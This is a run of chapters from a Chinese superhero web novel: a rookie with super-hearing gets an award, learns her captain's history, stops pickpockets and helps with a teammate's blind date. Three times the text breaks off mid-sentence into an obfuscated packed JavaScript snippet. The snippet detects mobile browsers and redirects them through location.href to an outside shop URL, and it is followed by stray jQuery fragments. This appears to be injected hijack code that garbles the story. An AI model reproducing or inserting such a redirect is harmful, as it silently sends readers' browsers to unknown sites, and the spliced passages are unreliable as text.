他站起来:“‘消音’行动圆满结束,但对抗‘回声’组织的战斗才刚刚开始。接下来会有更艰巨的任务,更危险的敌人。你们准备好了吗?” “准备好了!”所有人齐声回答。 “好。”周局长点头,“散会。杨晓晓留一下。” 其他人陆续离开,会议室里只剩下周局长、陈树和杨晓晓。 周局长从公文包里拿出一个小盒子,递给杨晓晓:“打开看看。” 杨晓晓打开,里面是一枚银色的徽章,造型是一只耳朵的轮廓,周围环绕着橄榄枝。 “特保局‘优秀新人奖章’。”周局长微笑,“你在‘消音’行动中的表现,值得这个荣誉。这是你应得的。” 杨晓晓接过徽章,心里涌起一股暖流:“谢谢局长。” “但要记住,”周局长正色道,“奖章不只是荣誉,更是责任。它提醒你,你有能力做好事,也有义务做好事。别让我们失望。” “我不会的。”杨晓晓认真地说。 陈树拍拍她的肩:“去休息吧。明天开始,新的训练计划——针对‘回声’组织的反制战术。” 杨晓晓离开会议室,手里握着那枚徽章。金属触感微凉,但心里是热的。 回到宿舍,她把徽章小心地收进抽屉,和那本《超能者伦理守则》手抄本放在一起。然后她走到窗边,看着外面阳光下的城市。 这个城市看起来很平静。人们上班、上学、逛街、聊天,过着普通的生活。 但他们不知道,在这平静之下,有像“回声”这样的暗流在涌动,也有像特保局这样的守护者在战斗。 而她,杨晓晓,一个曾经只想当普通行政专员的女孩,现在是守护者中的一员。 她有特殊的能力,有可靠的队友,有值得信任的领导,有明确的信念。 她用这能力听到了罪恶,也阻止了罪恶。 这双特别的耳朵,现在对她来说,不再是负担,而是礼物。 是守护的礼物。 手机震动,是王姐发来的消息:“晓晓,明天中午部门聚餐,庆祝季度目标完成!你一定要来啊,你现在可是咱们部门的‘幸运星’!” 杨晓晓笑了,回复:“一定到。” 然后她打开“深蓝幼儿园”群: 雷昊:【明晚庆功宴到底去哪吃?火锅?烤肉?还是海鲜?】 熊毅:【都可以。】 林墨:【我想吃火锅……】 雷昊:【那就火锅!@杨晓晓队长批准吗?】 杨晓晓笑着打字:【批准。但别吃太辣,陈队说后天要训练。】 放下手机,她伸了个懒腰。 明天有部门聚餐,有队友庆功,有普通人的温馨,也有战士的 camaraderie。 这就是她的生活。双面的,充实的,有意义的。 而她已经准备好,迎接明天,迎接未来的一切挑战。 因为现在的她,不只是杨晓晓。 她是“耳朵”,是特保局的特工,是守护者。 这个身份,她很自豪。 45. 陈树的过去片段 周三上午的训练场,杨晓晓瘫倒在地垫上,大口喘着气。 她刚刚完成了连续四十分钟的“多目标声音追踪”训练——要同时监听三个移动声源的轨迹、对话内容,并实时汇报。结束时,她感觉脑袋像被搅拌过一样,嗡嗡作响。 “集中力还是不够。”陈树站在她旁边,手里拿着训练记录板,“在追踪二号目标时,你漏掉了关键信息:他在第三分钟提到了‘明天交货’,你没记下来。” 杨晓晓坐起来,擦了擦额头的汗:“当时一号目标在打电话,声音太大了……” “所以你需要学会分配注意力。”陈树在她身边坐下,“就像同时听三场音乐会,你不能每场都全神贯注,要学会抓住主旋律,忽略伴奏。” 他顿了顿,忽然问:“你现在能听到训练场外走廊里的声音吗?” 杨晓晓集中注意力,侧耳倾听。隔音门很厚,但对她来说,依然能捕捉到一些模糊的声音:“有……脚步声?两个人在说话……好像是技术组的李工和王姐?在讨论设备维修的事?” “他们说什么了?”陈树问。 杨晓晓皱眉细听:“李工说……‘那台模拟器主板烧了,得返厂修’……王姐说……‘要多久?下周训练要用’……听不清了,他们走远了。” 陈树点点头,然后做了个让杨晓晓惊讶的动作——他闭上眼睛,似乎在专注倾听。 几秒后,他睁开眼睛:“李工说的是‘主板上的电容烧了两个,我看看能不能自己换,返厂至少要两周’。王姐说‘那赶紧,下周雷昊他们小组要用那台机器做干扰训练’。然后李工说‘我下午试试,不行再打报告’。” 杨晓晓瞪大眼睛:“陈队你……你也能听到?” “比你清楚一些。”陈树平静地说,“我的听力范围大概比你宽百分之三十,分辨率高百分之二十。而且我训练了十二年,控制力比你好。” 杨晓晓愣住了。她一直知道陈树很强,但没想到他也是听力能力者——而且比她强这么多。 “所以你现在遇到的问题,”陈树继续说,“我都经历过,而且可能比你更严重。” 杨晓晓想起昨晚聚餐时,大家好奇陈树的能力是什么,但他一直没说。现在她明白了——他不说,是因为他太了解听力能力者的困境,不想给她太多压力。 “陈队,你刚觉醒能力的时候,也像我这样……一团糟吗?”她小声问。 陈树沉默了几秒,然后笑了:“我?我那时候比你糟糕多了。” 他靠在墙上,眼神有些悠远:“我觉醒能力时二十二岁,刚进部队第二年。那天我们在进行爆破训练,我离得太近,被冲击波震晕了。醒来后,世界就变了。” 他顿了顿:“起初以为是脑震荡后遗症,但很快发现不是。我能听到一百米外战友的悄悄话,能听到食堂厨房切菜的声音,能听到营区外马路上的车流声。最可怕的是——所有声音同时涌来,没有轻重缓急。” 杨晓晓感同身受地点头。她经历过那种恐怖。 “部队医院查不出问题,建议我转业。”陈树继续说,“但我舍不得这身军装。我想办法适应,结果闹了不少笑话。” “什么笑话?” 陈树嘴角微扬:“比如,我不敢去食堂吃饭。几百个人同时咀嚼、说话、碗筷碰撞的声音,对我来说就像在建筑工地中央睡觉。我连续一周躲在宿舍啃压缩饼干,直到班长发现,把我拖到食堂,逼着我适应。” 杨晓晓想象着那个画面,忍不住笑了。 “还有更糟的。”陈树说,“第一次休假回家,我妈让我去超市买东西。我走到超市门口,听到里面收银机‘嘀嘀嘀’的扫码声,像机关枪一样。我转身就跑,在门口的长椅上坐了三个小时,直到超市快关门才硬着头皮进去。” “三个月。”陈树看向杨晓晓,“整整三个月,我不敢进超市。每次走到门口就腿软。后来我妹妹发现了,每次都是她陪我进去,让我戴着降噪耳机,慢慢适应。” 杨晓晓愣住了。她很难想象,现在这个在任何嘈杂环境下都能保持冷静、精准分辨声音的陈树,曾经连超市都不敢进。 “你是怎么……适应的?”她小声问。 “训练,反复训练。”陈树说,“就像你现在做的。从最简单的开始:听一个声音,屏蔽其他。然后两个、三个……慢慢增加。我花了半年时间,才能正常地在人群里活动。又花了一年,才达到你现在的水准。” 他顿了顿:“所以别灰心。你现在遇到的问题,我都经历过。你进步得其实比我快。” 杨晓晓心里涌起一股暖流。原来强大如陈树,也有过这么脆弱、这么狼狈的时期。他不是生来就是完美的特工,也是一步步挣扎着走过来的。 “那……你是怎么加入特保局的?”她好奇地问。 “因为一次意外。”陈树的表情严肃了些,“我还在部队时,一次边境巡逻,听到了一公里外走私团伙的对话,提前预警,避免了一场冲突。这事被上报,特保局的人找到了我。周局长亲自和我谈,说我的能力可以保护更多人。” 他看向杨晓晓:“和你一样,我也曾害怕、迷茫,觉得这能力是诅咒。但周局长告诉我:能力本身没有好坏,看你用它做什么。你可以选择躲起来,也可以选择站出来。我选择了站出来。” 训练场里安静下来,只有空调的低鸣声。 杨晓晓思考着陈树的话。她也曾害怕,也曾想逃避。但现在的她,已经走在了“站出来”的路上。 “陈队,”她认真地说,“谢谢你告诉我这些。” “不客气。”陈树站起来,伸出手拉她起来,“继续训练。今天的目标:同时追踪四个声源,坚持二十分钟。” 杨晓晓站起来,深吸一口气:“好!” 重新戴上训练耳机,世界的声音再次涌来。但这次,杨晓晓心里平静了许多。她想起陈树在超市门口腿软的样子,想起他花半年时间才敢进食堂的样子。 原来每个人都要经历这样的过程。 原来成长,就是一次次在不适中寻找平衡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191485|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她闭上眼睛,调整呼吸,开始分配注意力—— 一号声源:模拟的汽车引擎声,在左前方移动。 二号声源:两个人的对话,在右后方。 三号声源:轻微的脚步,在正前方。 四号声源……新增的,是鸟叫声,在远处。 她像指挥交响乐一样,给每个声音分配不同的“音量”,抓住关键信息,过滤掉无关细节。 五分钟,十分钟,十五分钟…… 陈树看着训练数据,微微点头。 二十分钟时,杨晓晓摘下耳机,虽然满头大汗,但眼睛亮晶晶的:“四个声源,我都追踪到了!汽车引擎声有异常杂音,像轴承问题;两个人说的是‘明天下午三点,老地方’;脚步声是女性,穿高跟鞋;鸟叫声……是麻雀,大概五只?” 陈树检查数据记录,几乎完全正确。 “很好。”他难得地露出赞许的笑容,“进步很快。” 杨晓晓笑了,那种成就感比任何夸奖都让人满足。 训练结束后,两人一起走出训练场。走廊里,陈树突然说:“其实,我到现在还是不喜欢超市。” 杨晓晓惊讶地看着他。 “收银机的声音,对我来说还是太刺耳。”陈树耸耸肩,“所以我很少去超市,要么网购,要么让我妹妹帮忙买。每个人都有过不去的坎,没必要勉强自己。” 杨晓晓想起自己也有害怕的声音——指甲刮黑板的声音,对她来说就像地狱的召唤。以前她总是自责,觉得自己能力不够强,连这种声音都克服不了。 但现在她明白了:强大不是没有弱点,而是知道自己的弱点,并学会与之共存。 “陈队,”她认真地说,“你是个好老师。” 陈树愣了一下,然后笑了:“你也是个好学生。继续努力。” 回到宿舍,杨晓晓洗了个澡,躺在床上。耳朵里还残留着训练时的各种声音余韵,但心里很平静。 她拿出手机,在备忘录里写下: 成长笔记: 1. 陈队也是听力能力者——而且比我更强。 2. 他曾经害怕超市——所以我的恐惧不丢人。 3. 适应需要时间——给自己多一点耐心。 4. 能力是工具——选择用它做什么,决定了你是谁。 5. 每个人都有过不去的坎——接纳它,和它和平共处。 写完后,她看着这几行字,笑了。 原来强大的人,不是没有脆弱过,而是从脆弱中站了起来。 而她,正在站起来的路上。 手机震动,是雷昊发来的消息:“晓晓!训练完没?熊哥做了布丁!超好吃!快来会议室!” 杨晓晓笑着回复:“马上到!” 她跳下床,换好衣服,脚步轻快地走出房间。 走廊的灯光温暖,窗外夜色正好。 而她心里,有一盏灯也亮了起来——那是从前辈那里接过来的光,现在,她要把它传下去,照得更亮。 46. 雷昊的家庭日 周六上午十点,北京西站出站口。 杨晓晓站在雷昊旁边,看着他伸长脖子在人群中寻找,像个等待主人回家的大狗狗。熊毅沉默地站在另一边,林墨则好奇地打量着来往的人群——他很少来这么拥挤的地方。 “来了来了!”雷昊突然挥手,眼睛亮得像灯泡。 杨晓晓顺着他指的方向看去,一个扎着马尾辫、穿着校服外套的女孩正拖着行李箱走出来。女孩大概十五六岁,戴着一副圆框眼镜,背着鼓鼓囊囊的书包,看起来就是标准的学霸模样。 “哥!”女孩看到雷昊,露出笑容,小跑过来。 雷昊立刻迎上去,接过行李箱,又想去接书包,被女孩躲开了:“我自己背,又不重。” “那怎么行,你坐了一晚上火车,累坏了。”雷昊坚持把书包也抢过来,背在自己肩上,瞬间变成了一个移动行李架。 杨晓晓看着这一幕,有点想笑。平时在队里吊儿郎当、满嘴跑火车的雷昊,在妹妹面前完全变成了宠妹狂魔。 “雷雨,这是我队友。”雷昊介绍,“杨晓晓,熊毅,林墨。这是我妹,雷雨,初三,明年中考。” “你们好。”雷雨礼貌地打招呼,声音清脆,“我哥在电话里经常提起你们。他说晓晓姐姐耳朵特别灵,熊毅哥哥力气特别大,林墨哥哥会穿墙……等等,穿墙?” 她疑惑地看着林墨,林墨立刻红了脸,低下头。 雷昊赶紧打圆场:“开玩笑的啦!走走走,先去酒店放行李,然后带你去吃好吃的!” 一行人上了雷昊租的车。雷雨坐在副驾驶,一路上不停地问问题:“哥,你们单位到底是做什么的?上次妈问你,你说‘信息安全’,具体是哪种信息啊?” “就是……保护信息不被坏人偷走那种。”雷昊含糊地回答。 “那你们有枪吗?” “没有没有,我们是文职,文职。” “可是熊毅哥哥看起来像特种兵。” “他……他健身,对,健身!” 杨晓晓在后座听着,忍笑忍得很辛苦。她看到雷昊从后视镜里投来求助的眼神,于是开口解围:“小雨,你这次来北京想玩什么?” “我想去故宫、长城、颐和园……”雷雨掰着手指数,“还要吃烤鸭、炸酱面、豆汁儿……对了哥,你能带我去清华北大看看吗?老师说提前感受名校氛围对学习有帮助。” “能能能,都去!”雷昊一口答应,“不过今天先去南锣鼓巷逛逛?那里小吃多,也有特色小店。” “好啊。” 车停在酒店,雷雨去放行李,其他人在大堂等。雷昊擦擦汗:“我妹从小就是问题宝宝,好奇心特重。你们多担待。” 熊毅点头:“你妹妹很懂事。” 林墨小声说:“她……很聪明。” 杨晓晓笑:“放心吧,我们会帮你圆场的。” 半小时后,南锣鼓巷。 周末的南锣鼓巷人山人海,各种小吃摊、手工艺品店、咖啡馆挤满了游客。雷雨兴奋地东看西看,雷昊跟在她身后,手里已经拎了好几个购物袋——全是给妹妹买的东西。 “哥,这个发卡好看吗?” “好看!买!” “这个冰箱贴好可爱。” “买买买!” “哥,我想吃那个糖葫芦。” “等着,我去买!” 杨晓晓看着雷昊跑远去买糖葫芦的背影,对熊毅说:“我第一次见雷昊这么……殷勤。” 熊毅嘴角微扬:“他对家人很好。” 林墨则被一个小摊上的金属拼装模型吸引了,正专注地看着。杨晓晓注意到,雷雨也在看那个模型,眼神里透着喜欢。 她走过去:“小雨喜欢这个?” “嗯,是航天飞机的模型,好精致。”雷雨点头,“但我零花钱不够了,刚才买太多东西了。” 杨晓晓看向标价:一百二。对初中生来说确实不便宜。 这时雷昊拿着糖葫芦回来了,看到妹妹盯着模型,立刻说:“喜欢?哥给你买!” “不要了,太贵了。”雷雨摇头,“而且我已经买了很多东西了。” “那有什么关系,哥有钱!” “你的钱又不是大风刮来的。”雷雨认真地说,“妈说了,不能乱花钱。” 杨晓晓听着这对兄妹的对话,心里暖暖的。雷昊虽然平时大大咧咧,但教育妹妹却很正。 最后雷雨还是没要那个模型,只是拍了张照片,说“看看就好”。雷昊有点失望,但尊重妹妹的决定。 一行人继续逛。杨晓晓走在后面,习惯性地“监听”着周围的环境——不是刻意偷听,而是能力自然展开,接收着各种声音信息。 她听到卖糖画的老人跟顾客讨价还价,听到情侣在讨论晚上看什么电影,听到小孩哭闹要玩具……然后,她听到了几个不和谐的声音。 在右前方大约二十米处,三个男人正用极低的声音交谈。他们的声音压得很低,语速很快,但在杨晓晓耳中清晰可辨。 “三点钟方向,那个穿校服背书包的小女孩,看到没?” “看到了,书包鼓鼓的,应该有钱包。” “她旁边那几个人看起来不好惹,尤其是那个大个子。” “没事,人多,好下手。等会儿他们走到那个纪念品店门口,人多拥挤的时候,我撞她一下,你们趁机摸包。” 杨晓晓心里一紧。她看向雷雨——校服外套,背着书包,正是目标。 “雷昊。”她低声叫住前面的雷昊,快步走过去。 “怎么了?” 杨晓晓用只有他们几人能听到的声音说:“有扒手盯上小雨了。三个人,在右前方,穿灰色夹克、黑色T恤和牛仔裤。他们打算在纪念品店门口动手。” 雷昊脸色一变,立刻把妹妹拉到身边。熊毅眼神锐利起来,扫视周围。林墨也紧张地靠拢。 “怎么办?”雷昊问,“报警?” “来不及,他们马上要行动了。”杨晓晓冷静地说,“听我的。熊毅,你假装接电话,走到纪念品店门口那个位置,挡住最佳下手路线。雷昊,你带小雨往左拐,进那家奶茶店。林墨,你跟我来。” “你要做什么?”雷昊担心。 “给他们一个教训。”杨晓晓微笑,“顺便帮警察叔叔抓几个贼。” 她拉着林墨,快步走向那三个扒手的方向。在距离他们还有五米时,杨晓晓突然“哎呀”一声,假装绊了一下,撞向那个穿灰色夹克的男人。 “对不起对不起!”她连连道歉。 就在撞到的瞬间,她手指灵巧地一动,从对方口袋里夹出了一个小东西——不是钱包,而是一个锋利的刀片,那是扒手用来割包的工具。 “你干什么?!”灰夹克男人警惕地看着她。 “真对不起,我没站稳。”杨晓晓把刀片悄悄塞给林墨,林墨立刻用能力让刀片“沉”进自己的衣袖里,消失不见。 这时,熊毅已经站到了纪念品店门口,像一堵墙一样挡住了路。雷昊也带着妹妹进了奶茶店,安全了。 三个扒手发现目标消失,又发现工具不见了,开始慌张。 “妈的,被发现了。”黑色T恤男人低声说,“撤。” 他们想走,但杨晓晓怎么可能让他们走? 她拿出手机,假装自拍,实际上打开了录像功能,对准那三个人。同时,她用所有人都能听到的音量说:“警察同志,南锣鼓巷纪念品店门口,有三个扒手,特征分别是灰色夹克、黑色T恤、蓝色牛仔裤,正在试图逃离现场。” 那三人一听“警察”,顿时慌了,转身就跑。 但他们没跑出几步,就撞上了一个人——是熊毅。熊毅只是站在那里,他们就像撞上了一堵墙,跌坐在地。 周围游客被惊动,纷纷围过来。很快,巡逻的警察赶到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191486|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨晓晓把拍到的视频和那枚刀片作为证据交给警察——刀片是林墨悄悄“放”到地上的。 三个扒手被带走,周围响起掌声。 雷昊从奶茶店出来,对杨晓晓竖起大拇指:“晓晓,牛!” 雷雨则好奇地看着杨晓晓:“晓晓姐姐,你怎么知道他们是扒手?” 杨晓晓早就想好了说辞:“我听到他们说话了。我耳朵比较灵,能听到远处的声音。” “这么厉害?”雷雨眼睛亮了,“那你能听到我现在心里在想什么吗?” “那倒不能。”杨晓晓笑,“只能听到声音。” 危机解除,一行人继续逛。雷昊悄悄对杨晓晓说:“谢了。要是我妹被偷了,我得愧疚死。” “队友嘛,应该的。”杨晓晓说。 午饭时,雷昊请大家吃了烤鸭。席间,雷雨又问了很多关于“信息安全”工作的问题,这次大家有了准备,回答得天衣无缝。 “所以你们就像网络世界的保安?”雷雨总结。 “对对对,就是这个意思!”雷昊赶紧点头。 “那你们的工作危险吗?” “不危险不危险,就坐办公室,敲敲键盘。” 杨晓晓看着雷昊面不改色地撒谎,心里感慨:这也是超能力者必备技能之一啊。 吃完饭,雷雨说想去书店。于是一行人又去了附近的大书店。雷雨一头扎进教辅区,开始认真挑选参考书。雷昊陪着她,耐心地听她分析哪本练习册更好。 杨晓晓、熊毅、林墨在休息区等着。 “雷昊对他妹妹真好。”杨晓晓感慨。 “他父母工作忙,妹妹小时候基本是他带大的。”熊毅说,“所以他特别宠她。” 杨晓晓想起雷昊平时大大咧咧的样子,再看看现在这个细心耐心的哥哥,觉得人真的有很多面。 等雷雨挑完书,已经是下午四点。雷昊送妹妹回酒店休息,约定晚上再一起吃饭。 分别时,雷雨认真地对杨晓晓说:“晓晓姐姐,谢谢你今天保护我。还有,你的耳朵好厉害,要是我也有这种能力就好了,考试时就能听到别人心里想的答案了。” 杨晓晓哭笑不得:“作弊可不好。” “开玩笑的啦。”雷雨笑,“我知道,能力要用在正道上。我哥说你们保护很多人,很伟大。我以后也要做有用的人。” 看着女孩认真的眼神,杨晓晓心里暖暖的。 回程的车上,雷昊感慨:“我妹长大了,都知道说‘做有用的人’了。时间真快啊。” “你把她教育得很好。”杨晓晓说。 雷昊难得地正经:“我就希望她平安快乐,考个好大学,找个好工作,过普通人的生活。别像我……整天在危险边缘打转。” 车里安静下来。 杨晓晓看着窗外的城市,想着雷雨说的“做有用的人”。 她用这双特别的耳朵,今天保护了一个女孩免遭扒窃。虽然只是小事,但确实是“有用”的事。 而雷昊他们,用各自的能力,做的也是“有用”的事——保护像王教授那样的科学家,保护像王雨薇那样的无辜者,对抗像“回声”那样的黑暗组织。 也许他们不能过普通人的生活,但他们在让更多人能过上普通、安全的生活。 这就够了。 手机震动,是雷雨发来的消息:“晓晓姐姐,今天谢谢你们。我哥有你们这样的队友,真好。” 杨晓晓笑着回复:“我们也很高兴有你这样的妹妹。” 然后她看向雷昊:“你妹妹说,她有你这个哥哥,很幸福。” 雷昊愣了愣,然后笑了,眼睛有点红:“这丫头……” 车在夕阳中驶向特保局基地。 杨晓晓靠在座位上,闭上眼睛。 今天很累,但很充实。 有队友,有温情,有小小的胜利。 这样的日子,值得珍惜。 47. 熊毅的“相亲”乌龙 周一中午,特保局食堂。 杨晓晓正和雷昊、林墨一起吃饭,突然看到熊毅端着餐盘走过来,表情有点……古怪。 “大熊,怎么了?”雷昊问,“脸这么黑,谁惹你了?” 熊毅坐下,沉默了几秒,才开口:“我姑姑……给我安排了相亲。” “噗——”雷昊一口汤喷出来,“相亲?你?什么时候?” “今晚六点,东城区的一家咖啡馆。”熊毅语气沉重,“我推不掉。姑姑说我二十八了,该成家了,还说我工作不稳定(她以为我在做保安),需要找个靠谱的姑娘。” 杨晓晓忍住笑:“那你打算怎么办?” “去露个面,然后说‘不合适’。”熊毅说,“但我姑姑说对方姑娘很好,让我认真对待。我……” 他难得地露出为难的表情。 雷昊眼睛一转:“兄弟们,咱们得帮大熊啊!相亲这种大事,怎么能没有后援团?” “你想干嘛?”杨晓晓警惕地问。 “当然是去现场支援啊!”雷昊兴奋地说,“我们可以坐在隔壁桌,监听对话,关键时刻给大熊发信息提示!比如姑娘问收入,我们就发‘往少了说’;问工作,发‘含糊点’;问有没有房,发‘租的’……” “你这是捣乱吧?”杨晓晓哭笑不得。 但熊毅想了想,居然点头了:“可以。但你们不能暴露,也不能干扰。” “没问题!”雷昊拍胸脯,“保证专业!” 于是,一个荒诞的计划诞生了:熊毅去相亲,小队其他成员潜伏在隔壁桌,提供“情报支援”。 下午五点五十,东城区某文艺咖啡馆。 杨晓晓、雷昊、林墨坐在靠窗的位置,离熊毅预定的桌子只隔了一个装饰书架。他们戴着耳机,伪装成在讨论工作的年轻人——实际上,杨晓晓戴着特制的监听耳机,雷昊拿着平板假装办公,林墨则负责望风。 六点整,熊毅走进咖啡馆。他换上了便装——一件简单的深蓝色衬衫和黑色长裤,但身材太过魁梧,还是吸引了不少目光。他走到预定位置坐下,背挺得笔直,像在等待上级检阅。 “大熊好紧张啊。”雷昊小声说,“你看他手放在膝盖上,握成拳头了。” 杨晓晓通过耳机能听到熊毅的心跳——比平时快了不少。 六点过五分,一个穿浅蓝色连衣裙的姑娘走进来。她大概二十五六岁,长发披肩,戴着细框眼镜,看起来很文静。她环顾四周,看到熊毅,愣了一下,然后露出笑容,走了过来。 “熊毅先生?”她问。 熊毅站起来,差点把椅子带倒:“是、是我。你是……刘小姐?” “刘雅,叫我小雅就行。”姑娘坐下,“你比照片里看起来……更高大。” “我……平时锻炼。”熊毅说,声音有点干。 杨晓晓在隔壁桌听着,憋笑憋得很辛苦。她听到熊毅的心跳更快了。 相亲开始了。 起初是常规问题:工作、家庭、兴趣爱好。 熊毅按照雷昊的提示,回答得很谨慎:“我在一家公司做安保工作……收入还行……平时喜欢……看书、锻炼。” 杨晓晓听到刘雅的心跳平稳,呼吸均匀,应该对熊毅的第一印象还不错。 但接下来,问题开始深入了。 “熊先生,你平时工作忙吗?需要经常出差吗?”刘雅问。 熊毅沉默了。特保局的工作何止是“忙”,简直是随时待命。但这话不能说。 耳机里传来雷昊的提示:“说‘偶尔出差,时间不定’。” 熊毅照说了。 “那……工作危险吗?”刘雅又问,声音里有关切。 这次熊毅沉默了更久。他不能说谎,但也不能说实话。 杨晓晓听到他的心跳乱了。 “有一定风险。”熊毅最终说,“但我会保护好自己的。” 刘雅点点头,没再追问。她端起咖啡杯,小口喝着。 接下来是尴尬的沉默。熊毅显然不擅长找话题,刘雅似乎也在思考什么。 雷昊急了,在耳机里说:“大熊,问问题啊!问她喜欢什么电影,喜欢什么书,平时做什么!” 熊毅清了清嗓子:“刘小姐……平时有什么爱好?” “我喜欢看书,也喜欢看电影。”刘雅微笑,“最近在看一些心理学方面的书。熊先生呢?除了锻炼,还喜欢什么?” “我……”熊毅想了想,“我会织毛线。” 隔壁桌,杨晓晓和雷昊同时瞪大眼睛。林墨手里的水杯差点掉地上。 刘雅显然也愣住了:“织……毛线?” “嗯。”熊毅点头,居然从随身包里拿出一个小东西——是一个毛线织的小猫挂件,“我自己织的。送给你。” 杨晓晓捂住嘴,怕自己笑出声。熊毅居然随身带着自己织的小礼物来相亲!这也太……可爱了吧? 刘雅接过小猫挂件,仔细看了看,眼睛亮了:“织得真好!你怎么学的?” “以前在部队时,班长教的。”熊毅说,“他说能静心,能锻炼手指灵活性。” “你在部队待过?”刘雅问。 “嗯,五年。”熊毅说,“后来退役了。” 刘雅看着手里的小猫挂件,又看看熊毅,突然笑了:“没想到你看起来这么……硬汉,却有这么温柔的手艺。” 熊毅耳朵有点红:“只是小爱好。” 气氛终于缓和了。两人开始聊得更自然。刘雅说她在一家事业单位做文员,工作稳定但有点无聊。熊毅说他理解,因为他现在的工作虽然不稳定,但很有意义。 “有意义?”刘雅好奇,“安保工作有什么意义?” “保护该保护的人。”熊毅说得很简单,但很认真。 杨晓晓听着,心里感动。熊毅说的不是假话,只是没说出全部真相。 相亲进行到一半时,意外发生了。 咖啡馆门口进来几个醉醺醺的男人,大声喧哗,打破了安静的氛围。服务员上前劝阻,其中一个醉汉推了服务员一把:“滚开!老子花钱来消费的!” 服务员差点摔倒,熊毅立刻站起来,扶住了他。 “几位先生,请保持安静,不要影响其他客人。”熊毅沉声说。 “你谁啊?管得着吗?”一个醉汉挑衅地推了熊毅一下。 熊毅纹丝不动。 醉汉愣住了,又推了一下,还是不动。 “我再说一遍,请保持安静,或者离开。”熊毅的声音不高,但有种不容置疑的压迫感。 几个醉汉被他的气势镇住了,嘟囔了几句,找了个角落坐下,声音小了很多。 熊毅回到座位,刘雅看着他,眼神里有惊讶,也有欣赏。 “你……经常处理这种事?”她问。 “偶尔。”熊毅说,“习惯了。” 杨晓晓在隔壁桌听着,觉得熊毅这次相亲可能有戏。 但接下来的发展,出乎所有人意料。 刘雅突然说:“熊先生,其实……我认识你。” 熊毅愣住了。 “或者说,我见过你。”刘雅压低声音,“上个月,在局里的档案室。我看到你和陈队在一起。你是特保局的人,对吧?” 隔壁桌,杨晓晓三人都惊呆了。 熊毅的表情瞬间严肃:“你怎么知道特保局?” “因为我也在特保局工作。”刘雅微笑,“档案室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191487|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刘雅。我上个月才调过来,负责文书归档。那天看到你,就觉得眼熟,后来查了档案才知道,你是行动队的熊毅。” 熊毅完全懵了。 刘雅继续说:“我姑姑和你姑姑是朋友,她们不知道我们的真实工作,只是觉得我们年龄合适,就安排了相亲。我本来想告诉你的,但觉得当面说更有意思。” 她看着熊毅震惊的表情,笑得更开心了:“现在公平了。你知道我是文员,我知道你是行动队员。但我们都不能对外说,包括介绍我们认识的姑姑们。” 熊毅终于回过神来,也笑了:“所以……这是一场‘内部相亲’?” “可以这么说。”刘雅点头,“不过我是认真的。我觉得你人很好,织的小猫也很可爱。如果你不介意我的工作性质……我们可以从朋友做起?” 熊毅想了想,认真地说:“我的工作……很危险,时间也不固定,可能随时出任务,没法给你稳定的生活。” “我知道。”刘雅说,“我也没法给你‘普通女朋友’的陪伴,我经常加班整理档案。但我们互相理解,不是更好吗?” 熊毅看着这个文静却勇敢的姑娘,点了点头:“好。从朋友做起。” 隔壁桌,杨晓晓三人都松了口气,然后相视而笑。 没想到啊没想到,熊毅的相亲对象居然是“自己人”。这下好了,不用隐瞒,不用撒谎,还能互相理解。 相亲结束,熊毅送刘雅去地铁站。杨晓晓三人也结账离开,在咖啡馆外等熊毅。 几分钟后,熊毅回来了,表情比去时轻松多了。 “怎么样怎么样?”雷昊迫不及待地问。 “她说从朋友做起。”熊毅说,“她也理解我们的工作。” “太好了!”雷昊拍熊毅的肩,“大熊你脱单有望啊!” “只是朋友。”熊毅强调,但嘴角微微上扬。 回程的车上,杨晓晓感慨:“世界真小。不过这样也好,省了很多麻烦。” 熊毅点头:“嗯。她是个好姑娘。” “那你还织毛线送她吗?”雷昊坏笑。 “织。”熊毅认真地说,“她说喜欢。” 车里响起笑声。 杨晓晓看着窗外闪过的夜景,心里暖暖的。 队友们的生活在继续,有烦恼,有惊喜,也有小小的幸福。 而他们之间的羁绊,也在这场荒诞的相亲支援中,更深了。 回到基地,陈树正好从办公室出来,看到他们,挑眉:“听说你们去‘支援’熊毅相亲了?” 雷昊立刻邀功:“陈头,你猜怎么着?相亲对象是咱们局档案室的小刘!自己人!” 陈树愣了一下,然后笑了:“那挺好。省得你们编故事骗人了。” 他看向熊毅:“好好处。但记住纪律。” “明白。”熊毅点头。 各自回宿舍前,杨晓晓叫住熊毅:“熊哥,加油。” 熊毅难得地露出温和的笑容:“谢谢。” 杨晓晓回到房间,躺在床上,想起今天的一幕幕,忍不住笑出声。 熊毅织毛线,雷昊的鬼点子,刘雅的坦诚,还有那场意外的“内部相亲”…… 这些温暖的日常,是紧张任务之外的宝贵调剂。 她拿出手机,在备忘录里又记了一笔: 队友观察笔记:熊毅篇更新—— 1. 